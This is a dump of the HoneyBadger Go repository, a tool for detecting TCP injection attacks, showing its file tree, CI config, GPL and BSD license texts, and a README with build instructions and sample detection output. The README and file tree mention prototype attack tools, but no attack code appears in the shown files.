Repository: david415/HoneyBadger Branch: master Commit: 53421ca0b08d Files: 46 Total size: 221.4 KB Directory structure: gitextract_ovn09ehc/ ├── .travis.yml ├── LICENSE ├── LICENSE_BSD ├── README.rst ├── attack/ │ └── injector.go ├── blocks/ │ ├── LICENSE │ ├── blocks.go │ └── blocks_test.go ├── cmd/ │ ├── handshakeHijacker/ │ │ └── main.go │ ├── honeyBadger/ │ │ └── main.go │ ├── honeybadgerReportTool/ │ │ ├── main.go │ │ └── tcp_port_distribution.py │ ├── honeybadgerReportToolColor/ │ │ └── main.go │ ├── sprayInjector/ │ │ └── main.go │ └── testBpfSniffer/ │ └── README ├── connection.go ├── connection_test.go ├── dispatcher.go ├── dispatcher_test.go ├── drivers/ │ ├── afpacket.go │ ├── bpf.go │ ├── libpcap.go │ ├── pcapgo.go │ └── register.go ├── go.mod ├── go.sum ├── logging/ │ ├── attack_logger.go │ ├── metadata_attack_logger.go │ ├── pcap_logger.go │ ├── pcap_logger_test.go │ ├── rotating_writer.go │ └── util_test.go ├── ordered_coalesce.go ├── ordered_coalesce_test.go ├── pcap_integration_test.go ├── retrospective.go ├── retrospective_test.go ├── sniffer.go ├── supervisor.go └── types/ ├── events.go ├── flow.go ├── flow_test.go ├── packet_source.go ├── reassembly.go ├── ring.go └── sequence.go ================================================ FILE CONTENTS ================================================ ================================================ FILE: .travis.yml ================================================ language: go go: - "1.13" before_install: - sudo apt-get update -qq - sudo apt-get install -y libpcap-dev - git clone https://github.com/david415/honeybadger-pcap-files.git pcap_archive install: - go get -v -t ./ script: - go test -v ./ - go test -v ./logging - go test -v ./blocks - go test -v ./types ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: LICENSE_BSD ================================================ Copyright (c) 2012 Google, Inc. All rights reserved. Copyright (c) 2009-2011 Andreas Krennmair. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Andreas Krennmair, Google, nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ================================================ FILE: README.rst ================================================ =========== HoneyBadger =========== .. image:: http://honeybadger.readthedocs.org/en/latest/_images/honey_badger-white-sm-1.png | .. image:: https://travis-ci.org/david415/HoneyBadger.svg?branch=master :target: https://travis-ci.org/david415/HoneyBadger .. image:: https://coveralls.io/repos/github/david415/HoneyBadger/badge.svg?branch=master :target: https://coveralls.io/github/david415/HoneyBadger .. image:: https://godoc.org/github.com/david415/HoneyBadger?status.svg :target: https://godoc.org/github.com/david415/HoneyBadger project goals ------------- * HoneyBadger is primarily a comprehensive TCP stream analysis tool for detecting and recording TCP injection attacks. * This git repository also includes a variety of *prototype* TCP stream injections attacks. details ------- * Read about HoneyBadger's design and implementation: https://honeybadger.readthedocs.org/ * Read the `manual integration procedure`_ - a reproduciable procedure which proves HoneyBadger's TCP injection attack detection is reliable; **in less than 2 minutes you can perform a test on your loopback interface... and test that HoneyBadger can detect injected data into a netcat client-server connection.** .. _manual integration procedure: https://honeybadger.readthedocs.org/en/latest/#manual-integration-test-with-netcat * Read the godoc `autogenerated API documentation`_ .. _autogenerated API documentation: https://godoc.org/github.com/david415/HoneyBadger * HoneyBadger currently support 3 Data AcQuisition packet sources: libpcap, AF_PACKET and BSD_BPF. This means that for instance on OpenBSD, you must use the BSD_BPF DAQ by specifying this CLI option:: "-daq=BSD_BPF" HoneyBadger attack detecton CLI examples! ----------------------------------------- Build honeyBadger CLI command from source:: user@go-dev2:~/gopath/src/github.com/david415/HoneyBadger/cmd/honeyBadger$ go build Run honeyBadger against a pcap file called tshark2.pcap:: user@go-dev2:~/gopath/src/github.com/david415/HoneyBadger/cmd/honeyBadger$ ./honeyBadger \ -max_concurrent_connections=1000 -max_pcap_log_size=100 -max_pcap_rotations=10 -max_ring_packets=40 \ -metadata_attack_log=false -total_max_buffer=1000 -connection_max_buffer=100 -archive_dir=./archive \ -log_packets -l=./incoming -pcapfile=./tshark2.pcap honeyBadger will spew lots of things to stdout. Using the above command, it will record an attack report JSON file(s) to the "./archive" directory. Here's an example output with a pcap file containing an ordered coalesce injection:: 2016/02/05 23:30:01 Starting libpcap packet capture on file ./tshark2.pcap 2016/02/05 23:30:01 connected 127.0.0.1:59670-127.0.0.1:9666 2016/02/05 23:30:01 race winner stream segment: 2016/02/05 23:30:01 00000000 20 69 73 20 6e 65 63 65 73 73 61 72 79 20 66 6f | is necessary fo| 00000010 72 20 61 6e 20 6f 70 65 6e 20 73 6f 63 69 65 74 |r an open societ| 00000020 79 20 69 6e 20 74 68 65 20 65 6c 65 63 74 72 6f |y in the electro| 00000030 6e 69 63 20 61 67 65 2e 20 50 72 69 76 61 63 79 |nic age. Privacy| 00000040 20 69 73 20 6e 6f 74 20 73 65 63 72 65 63 79 2e | is not secrecy.| 00000050 20 41 20 70 72 69 76 61 74 65 20 6d 61 74 74 65 | A private matte| 00000060 72 20 69 73 20 73 6f 6d 65 74 68 69 6e 67 20 6f |r is something o| 00000070 6e 65 20 64 6f 65 73 6e 27 74 20 77 61 6e 74 20 |ne doesn't want | 00000080 74 68 65 20 77 68 6f 6c 65 20 77 6f 72 6c 64 20 |the whole world | 00000090 74 6f 20 6b 6e 6f 77 2c 20 62 75 74 20 61 20 73 |to know, but a s| 000000a0 65 63 72 65 74 20 6d 61 74 74 65 72 20 69 73 20 |ecret matter is | 000000b0 73 6f 6d 65 74 68 69 6e 67 20 6f 6e 65 20 64 6f |something one do| 000000c0 65 73 6e 27 74 20 77 61 6e 74 20 61 6e 79 62 6f |esn't want anybo| 000000d0 64 79 20 74 6f 20 6b 6e 6f 77 2e 20 50 72 69 76 |dy to know. Priv| 000000e0 61 63 79 20 69 73 20 74 68 65 20 70 6f 77 65 72 |acy is the power| 000000f0 20 74 6f 20 73 65 6c 65 63 74 69 76 65 6c 79 20 | to selectively | 00000100 72 65 76 65 61 6c 20 6f 6e 65 73 65 6c 66 20 74 |reveal oneself t| 00000110 6f 20 74 68 65 20 77 6f 72 6c 64 2e |o the world.| 2016/02/05 23:30:01 race loser stream segment: 2016/02/05 23:30:01 00000000 50 72 69 76 61 63 79 20 69 73 20 6e 65 63 65 73 |Privacy is neces| 00000010 73 61 72 79 20 66 6f 72 20 61 6e 20 6f 70 65 6e |sary for an open| 00000020 20 73 6f 63 69 65 74 79 20 69 6e 20 74 68 65 20 | society in the | 00000030 65 6c 65 63 74 72 6f 6e 69 63 20 61 67 65 2e 20 |electronic age. | 00000040 50 72 69 76 61 63 79 20 69 73 20 6e 6f 74 20 73 |Privacy is not s| 00000050 65 63 72 65 63 79 2e 20 41 20 70 72 69 76 61 74 |ecrecy. A privat| 00000060 65 20 6d 61 74 74 65 72 20 69 73 20 73 6f 6d 65 |e matter is some| 00000070 74 68 69 6e 67 20 6f 6e 65 20 64 6f 65 73 6e 27 |thing one doesn'| 00000080 74 20 77 61 6e 74 20 74 68 65 20 77 68 6f 6c 65 |t want the whole| 00000090 20 77 6f 72 6c 64 20 74 6f 20 6b 6e 6f 77 2c 20 | world to know, | 000000a0 62 75 74 20 61 20 73 65 63 72 65 74 20 6d 61 74 |but a secret mat| 000000b0 74 65 72 20 69 73 20 73 6f 6d 65 74 68 69 6e 67 |ter is something| 000000c0 20 6f 6e 65 20 64 6f 65 73 6e 27 74 20 77 61 6e | one doesn't wan| 000000d0 74 20 61 6e 79 62 6f 64 79 20 74 6f 20 6b 6e 6f |t anybody to kno| 000000e0 77 2e 20 50 72 69 76 61 63 79 20 69 73 20 74 68 |w. Privacy is th| 000000f0 65 20 70 6f 77 65 72 20 74 6f 20 73 65 6c 65 63 |e power to selec| 00000100 74 69 76 65 6c 79 20 72 65 76 65 61 6c 20 6f 6e |tively reveal on| 00000110 65 73 65 6c 66 20 74 6f 20 74 68 65 |eself to the| 2016/02/05 23:30:01 detected an ordered coalesce injection 2016/02/05 23:30:01 FIN-WAIT-1: non-ACK packet received. 2016/02/05 23:30:01 ReadPacketData got EOF 2016/02/05 23:30:01 Close() 2016/02/05 23:30:01 1 connection(s) closed. 2016/02/05 23:30:01 Supervisor.Stopped() 2016/02/05 23:30:01 graceful shutdown: packet-source stopped Or instead you can tell honeyBadger to analyze the wire with Linux's AF_PACKET capture mode. You should first disable offloading:: sudo apt-get install ethtool sudo ethtool -K eth0 gso off sudo ethtool -K eth0 tso off sudo ethtool -K eth0 gro off And then run honeyBadger like this:: ./honeyBadger -max_concurrent_connections=1000 -max_pcap_log_size=100 -max_pcap_rotations=10 \ -max_ring_packets=40 -metadata_attack_log=false -total_max_buffer=1000 -connection_max_buffer=100 \ -archive_dir=/home/user/gopath/src/github.com/david415/HoneyBadger/cmd/honeyBadger/archive -log_packets \ -l=/home/user/gopath/src/github.com/david415/HoneyBadger/cmd/honeyBadger/incoming -log_packets=true \ -i=eth0 -daq=AF_PACKET 